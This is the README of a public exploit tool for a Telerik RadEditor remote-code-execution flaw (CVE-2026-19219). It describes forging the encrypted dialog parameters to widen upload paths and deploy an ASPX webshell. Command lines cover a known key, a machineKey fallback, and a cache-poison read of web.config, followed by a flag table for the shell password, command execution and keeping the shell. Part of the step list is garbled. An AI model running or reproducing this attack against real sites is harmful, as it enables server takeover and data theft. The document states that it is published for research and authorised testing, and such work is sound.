
Exploit for CVE-2026-19219: forges Telerik RadEditor dialog parameters to widen upload paths and deploy an ASPX webshell for RCE on unpatched ASP.NET AJAX sites.
Remote code execution through the RadEditor DocumentManager dialog. Fixed in
Telerik UI for ASP.NET AJAX 2026.3.812.
The dialog SerializedParameters (dp) blob emitted by a RadEditor page is
encrypted but carries no integrity protection. The dialog parameters include
UploadPaths, ViewPaths, and DeletePaths. An attacker who knows the
Telerik.Web.UI.DialogParametersEncryptionKey can decrypt the dp, widen these
path arrays to the web root, re-encrypt it, and upload a webshell through the
file explorer.
The dialog crypto is version-aware: AES-GCM (PBKDF2) on newer builds, legacy
AES-CBC + HMAC-SHA256 on older builds, or a MachineKey.Protect fallback.
pip install -r requirements.txt
# Known key (primary)
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--dialog-key "YOUR-DIALOG-PARAMETERS-ENCRYPTION-KEY"
# Static machineKey fallback
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--machine-key "VALIDATIONKEY,DECRYPTIONKEY"
# Auto-recover the key from web.config via the RadImageEditor cache-poison read
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--read-config --imageeditor-page imageeditor.aspx
| Flag | Default | Purpose |
|---|---|---|
base (positional) | required | Site base URL |
--page | RadEditor overview | RadEditor page hosting a DocumentManager dialog |
--dialog-key | DialogParametersEncryptionKey (primary) | |
--machine-key | validationKey,decryptionKey (fallback) | |
--read-config | off | Recover the key from web.config via the cache-poison read |
--imageeditor-page | imageeditor.aspx | Standalone RadImageEditor page for --read-config |
--upload-folder | / | Web-root-relative folder for the shell |
--webshell-password | auto | Webshell password |
--shell-name | auto | Uploaded .aspx filename |
--rce-cmd | whoami | Verification command |
--keep-shell | off | Retain the webshell on exit |
--proxy | HTTP proxy URL |
DocumentManager dp from a RadEditor page.dp so UploadPaths/ViewPaths/DeletePaths point at ~/.whoami and drop into an interactive shell.Published for security research, defensive use, and authorised testing. The vulnerability is patched; update Telerik UI for ASP.NET AJAX to the latest version.